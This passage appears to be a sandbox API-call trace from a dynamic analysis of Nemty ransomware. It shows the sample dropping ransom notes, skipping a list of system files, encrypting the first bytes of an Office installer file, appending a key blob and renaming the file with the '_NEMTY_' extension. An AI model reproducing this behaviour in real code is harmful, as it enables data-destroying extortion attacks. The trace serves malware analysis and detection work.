dwFlags=0x0, lpWideCharStr="{90140000-0043-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0043-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0043-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0047.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0043-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0043-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0043-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0047.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0047.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.867] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0047.869] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.869] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0047.870] CloseHandle (hObject=0x3c4) returned 1 [0047.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0047.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0047.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0047.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.871] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.871] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.872] CloseHandle (hObject=0x3c4) returned 1 [0047.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.872] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd03a8770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd03a8770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0047.872] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.872] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd03a8770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd03a8770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.872] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.872] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.873] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="..") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="...") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="windows") returned -1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="rsa") returned -1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="NTDETECT.COM") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="ntldr") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="MSDOS.SYS") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="IO.SYS") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="boot.ini") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="boot.ini") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="ntuser.dat") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="desktop.ini") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="CONFIG.SYS") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="RECYCLER") returned -1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="bootmgr") returned 1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="programdata") returned -1 [0047.873] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="appdata") returned 1 [0047.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0047.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.874] Sleep (dwMilliseconds=0x5) [0047.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd03ce8d0, dwHighDateTime=0x1d561e7)) [0047.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd03ce8d0, dwHighDateTime=0x1d561e7)) [0047.874] GetLastError () returned 0xb7 [0047.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.874] GetLastError () returned 0xb7 [0047.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.875] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.875] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="M33XAbRhw8bR8ZNzKIsvbkC8zC03iNQDa+d8JPuNEejWKxwRnqblyz6S/TE17fOx\r\nQWepAIHiGneNFZt1yfkbvrY7HVQxbcCxM2t/PN9qHP+czhULzRHOy+rw19B4bznX\r\ng4Blk8+qIHNf7XapktlRXcV2Tz83XGdT+83116oiRsoK9a4jo9UzD93pq1/RUoQD\r\n71Grf5Zi3n8LXOnLRnx9XfKL8bYirV2HSYLqCVWRbVBqyPlGgxSPH2Ds35mG7yu9\r\n/ElRaQg26lG/tNxf0QgtRjygPcLI6cWVYZIETVy6RGNgxZ0FjWAWl3/Lv1Bvk/md\r\nacdwu4FUmVaHDFZ6l6wtQw==\r\n", pcchString=0x653ef9c) returned 1 [0047.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.875] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=873984) returned 1 [0047.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.875] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.875] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0047.884] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.884] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0047.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.885] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=873984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd5600 [0047.885] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.886] CloseHandle (hObject=0x3c8) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.898] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi._nemty_kgobjgd_")) returned 1 [0047.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0047.899] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="..") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="...") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="windows") returned -1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="rsa") returned -1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="NTDETECT.COM") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="ntldr") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="MSDOS.SYS") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="IO.SYS") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="boot.ini") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="boot.ini") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="ntuser.dat") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="desktop.ini") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="CONFIG.SYS") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="RECYCLER") returned -1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="bootmgr") returned 1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="programdata") returned -1 [0047.899] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="appdata") returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.xml", lpUsedDefaultChar=0x0) returned 15 [0047.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 